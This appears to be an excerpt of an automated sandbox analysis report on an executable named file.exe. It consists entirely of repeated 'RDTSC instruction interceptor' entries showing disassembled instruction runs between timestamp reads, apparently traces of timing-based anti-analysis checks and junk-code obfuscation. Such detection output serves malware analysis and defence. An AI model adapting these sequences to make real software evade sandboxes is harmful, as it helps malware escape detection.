Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0823 second address: 48D0829 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0829 second address: 48D082D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D082D second address: 48D083E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D083E second address: 48D0842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0842 second address: 48D0848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0848 second address: 48D084E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D084E second address: 48D0852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0852 second address: 48D0888 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007FDAD10EAC43h 0x00000014 pop eax 0x00000015 push edx 0x00000016 pop ecx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D09A2 second address: 48D09A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D09A8 second address: 48D0A37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDAD10EAC3Ah 0x00000009 add si, 1218h 0x0000000e jmp 00007FDAD10EAC3Bh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FDAD10EAC48h 0x0000001a and cx, 7C78h 0x0000001f jmp 00007FDAD10EAC3Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 cmp dword ptr [ebp-04h], 00000000h 0x0000002c pushad 0x0000002d pushad 0x0000002e mov edx, esi 0x00000030 pushfd 0x00000031 jmp 00007FDAD10EAC3Eh 0x00000036 xor esi, 70A096D8h 0x0000003c jmp 00007FDAD10EAC3Bh 0x00000041 popfd 0x00000042 popad 0x00000043 mov bx, si 0x00000046 popad 0x00000047 mov esi, eax 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007FDAD10EAC41h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0A37 second address: 48D0A3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0008 second address: 48D001A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push esp 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov di, CB8Eh 0x0000000e mov ax, di 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D001A second address: 48D0037 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ax 0x00000006 call 00007FDAD0CA5E2Ah 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0037 second address: 48D003B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D003B second address: 48D0055 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0055 second address: 48D0095 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FDAD10EAC3Bh 0x00000014 and ch, FFFFFFFEh 0x00000017 jmp 00007FDAD10EAC49h 0x0000001c popfd 0x0000001d mov ah, BFh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0095 second address: 48D009B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D009B second address: 48D009F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D009F second address: 48D00A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D00A3 second address: 48D00D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a jmp 00007FDAD10EAC40h 0x0000000f push 0F283903h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FDAD10EAC43h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D00D9 second address: 48D00DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D00DD second address: 48D00E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D00E3 second address: 48D0110 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 79B2A74Bh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FDAD0CA5E2Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0110 second address: 48D0116 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0116 second address: 48D0127 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDAD0CA5E2Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0127 second address: 48D012B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D012B second address: 48D019A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 6B40C9B4h 0x0000000d pushad 0x0000000e mov di, ax 0x00000011 popad 0x00000012 xor dword ptr [esp], 1DD5E2C4h 0x00000019 jmp 00007FDAD0CA5E2Eh 0x0000001e mov eax, dword ptr fs:[00000000h] 0x00000024 pushad 0x00000025 mov di, 3D90h 0x00000029 popad 0x0000002a push esi 0x0000002b jmp 00007FDAD0CA5E34h 0x00000030 mov dword ptr [esp], eax 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007FDAD0CA5E2Eh 0x0000003a or cl, 00000008h 0x0000003d jmp 00007FDAD0CA5E2Bh 0x00000042 popfd 0x00000043 push eax 0x00000044 push edx 0x00000045 mov bx, cx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D019A second address: 48D01AA instructions: 0x00000000 rdtsc 0x00000002 mov ch, 04h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 sub esp, 18h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D01AA second address: 48D01AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D01AE second address: 48D01B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D01B4 second address: 48D01E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FDAD0CA5E2Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDAD0CA5E2Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D01E9 second address: 48D0228 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FDAD10EAC46h 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 jmp 00007FDAD10EAC3Dh 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov edi, esi 0x0000001d mov cl, 17h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0228 second address: 48D0259 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 jmp 00007FDAD0CA5E33h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDAD0CA5E30h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0259 second address: 48D0268 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0268 second address: 48D026E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D026E second address: 48D0272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0272 second address: 48D0298 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FDAD0CA5E2Bh 0x00000014 mov esi, 1EEA709Fh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0298 second address: 48D02FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FDAD10EAC48h 0x00000012 jmp 00007FDAD10EAC45h 0x00000017 popfd 0x00000018 call 00007FDAD10EAC40h 0x0000001d mov ebx, ecx 0x0000001f pop eax 0x00000020 popad 0x00000021 xchg eax, edi 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FDAD10EAC3Fh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D02FB second address: 48D0318 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0318 second address: 48D031E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D031E second address: 48D0322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0322 second address: 48D034E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [769B4538h] 0x0000000d pushad 0x0000000e mov edi, ecx 0x00000010 popad 0x00000011 xor dword ptr [ebp-08h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FDAD10EAC44h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D034E second address: 48D035D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D035D second address: 48D039A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b jmp 00007FDAD10EAC47h 0x00000010 nop 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D039A second address: 48D039E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D039E second address: 48D03A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D03A2 second address: 48D03A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D03A8 second address: 48D03C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDAD10EAC3Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D03C7 second address: 48D0403 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov cl, 84h 0x0000000d mov di, 4BB4h 0x00000011 popad 0x00000012 lea eax, dword ptr [ebp-10h] 0x00000015 pushad 0x00000016 mov al, dl 0x00000018 mov edi, ecx 0x0000001a popad 0x0000001b mov dword ptr fs:[00000000h], eax 0x00000021 jmp 00007FDAD0CA5E2Ch 0x00000026 mov dword ptr [ebp-18h], esp 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0403 second address: 48D0407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0407 second address: 48D0424 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0424 second address: 48D042A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D042A second address: 48D04A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr fs:[00000018h] 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FDAD0CA5E34h 0x00000018 adc cl, 00000058h 0x0000001b jmp 00007FDAD0CA5E2Bh 0x00000020 popfd 0x00000021 call 00007FDAD0CA5E38h 0x00000026 mov di, cx 0x00000029 pop ecx 0x0000002a popad 0x0000002b mov ecx, dword ptr [eax+00000FDCh] 0x00000031 jmp 00007FDAD0CA5E2Dh 0x00000036 test ecx, ecx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D04A6 second address: 48D04AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D04AA second address: 48D04BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D04BD second address: 48D04ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, DB3Ah 0x00000007 push edi 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007FDAD10EAC6Ah 0x00000012 jmp 00007FDAD10EAC3Dh 0x00000017 add eax, ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FDAD10EAC3Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D04ED second address: 48D04F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D04F3 second address: 48D04F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D04F7 second address: 48D04FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D04FB second address: 48D0544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FDAD10EAC45h 0x00000012 sub cx, 93C6h 0x00000017 jmp 00007FDAD10EAC41h 0x0000001c popfd 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FDAD10EAC3Eh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C01A1 second address: 48C01F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDAD0CA5E2Fh 0x00000008 pop eax 0x00000009 call 00007FDAD0CA5E39h 0x0000000e pop ecx 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp], ebp 0x00000015 pushad 0x00000016 mov ecx, edi 0x00000018 mov si, di 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e jmp 00007FDAD0CA5E2Bh 0x00000023 sub esp, 2Ch 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 mov cx, dx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C01F3 second address: 48C01F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C01F8 second address: 48C0215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDAD0CA5E39h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0215 second address: 48C0219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0219 second address: 48C0228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0228 second address: 48C022C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C022C second address: 48C023B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C023B second address: 48C0241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0241 second address: 48C0245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C02DA second address: 48C0365 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 805Ah 0x00000007 mov ebx, 63134826h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ebx, 00000000h 0x00000014 pushad 0x00000015 jmp 00007FDAD10EAC48h 0x0000001a call 00007FDAD10EAC42h 0x0000001f movzx esi, di 0x00000022 pop ebx 0x00000023 popad 0x00000024 sub edi, edi 0x00000026 jmp 00007FDAD10EAC43h 0x0000002b inc ebx 0x0000002c pushad 0x0000002d jmp 00007FDAD10EAC44h 0x00000032 jmp 00007FDAD10EAC42h 0x00000037 popad 0x00000038 test al, al 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d pushad 0x0000003e popad 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0365 second address: 48C036A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C036A second address: 48C0397 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FDAD10EAE33h 0x0000000f pushad 0x00000010 mov cl, 28h 0x00000012 popad 0x00000013 lea ecx, dword ptr [ebp-14h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0397 second address: 48C039B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C039B second address: 48C03A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C03EC second address: 48C03F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C03F0 second address: 48C03F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C03F4 second address: 48C03FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C03FA second address: 48C0409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDAD10EAC3Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0409 second address: 48C040D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C040D second address: 48C0443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cx, dx 0x0000000f pushfd 0x00000010 jmp 00007FDAD10EAC3Dh 0x00000015 adc eax, 2A4651D6h 0x0000001b jmp 00007FDAD10EAC41h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C04C4 second address: 48C0551 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 push edx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007FDB42D43DE4h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FDAD0CA5E2Bh 0x00000017 adc cx, 2BDEh 0x0000001c jmp 00007FDAD0CA5E39h 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007FDAD0CA5E30h 0x00000028 sub cl, FFFFFFD8h 0x0000002b jmp 00007FDAD0CA5E2Bh 0x00000030 popfd 0x00000031 popad 0x00000032 js 00007FDAD0CA5E86h 0x00000038 jmp 00007FDAD0CA5E36h 0x0000003d cmp dword ptr [ebp-14h], edi 0x00000040 pushad 0x00000041 call 00007FDAD0CA5E2Eh 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0551 second address: 48C0566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov ax, bx 0x00000008 popad 0x00000009 jne 00007FDB43188B77h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0566 second address: 48C056C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
